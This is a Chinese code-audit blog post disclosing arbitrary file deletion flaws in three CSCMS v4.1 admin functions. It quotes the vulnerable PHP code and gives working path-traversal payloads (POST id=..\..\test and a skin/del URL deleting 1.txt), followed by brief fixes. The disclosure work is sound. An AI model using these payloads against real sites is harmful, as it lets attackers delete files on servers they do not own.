在一个网站中,涉及文件删除操作的函数,如果文件名可控,将可能存在任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。好久没更新代码审计的文章了,通过CSCMS分享几个漏洞实例,水一文。
CSCMS :http://www.chshcms.com 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.com/chshcms/cscms
漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php 第160-177行:
public function del(){
$dir = $this->input->get_post('id',true);
if(empty($dir)){
getjson(L('plub_11'));
}
$dirs = array();
if(!is_array($dir)){
$dirs[] = $dir;
}else{
$dirs = $dir;
}
foreach($dirs as $dir) {
deldir(FCPATH.'attachment/backup/'.$dir);
}
$info['msg'] = L('plub_12');
$info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);
getjson($info,0);
}
漏洞利用: 1、根目录下新建test目录作为测试:
2、构造参数成功删除test目录 http://127.0.0.1/admin.php/basedb/del POST:id=..\..\test
漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行:
public function del(){
$ac = $this->input->get('ac',true);
$op = $this->input->get('op',true);
$dir = $this->input->get('dirs',true);
$file = $this->input->get('file');
if($ac!='mobile') $ac='pc';
if($op!='home' && $op!='user') $op='skins';
if(empty($dir)) getjson(L('plub_27'));
$skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file;
if (!is_dir($skin_dir)) { //文件
$res=unlink($skin_dir);
}else{ //目录
$res=deldir($skin_dir);
}
if($res){
$info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999);
$info['msg'] = L('plub_46');
$info['turn'] = 1;
getjson($info,0);
}else{
getjson(L('plub_28'));
}
漏洞利用: 网站根目录下新建1.txt文件作为测试,构造URL成功删除文件 Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\..\..\..\1.txt
漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行:
public function del(){
$dir = $this->input->get_post('dir',true);
if($dir==''){
getjson(L('plub_del_0'),1);
}
deldir(FCPATH.'plugins'.FGF.$dir.FGF);
//删除配置目录
deldir(CSCMS.$dir.FGF);
//删除模板目录
deldir(FCPATH.'tpl/admin/'.$dir.FGF);
$info['func'] = __FUNCTION__;
$info['msg'] = L('plub_del_1');
getjson($info,0);
}
漏洞利用:
限制文件删除函数可删除的目录位置、文件类型
文件名非用户可控
喜欢这篇文章的人也喜欢 · · · · · ·
▶ 【代码审计】EasySNS_V1.6远程图片本地化导致Getshell
▶ 【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)
▶ 【代码审计】MIPCMS 远程写入配置文件Getshell
▶ 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞
Bypass
About Me
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。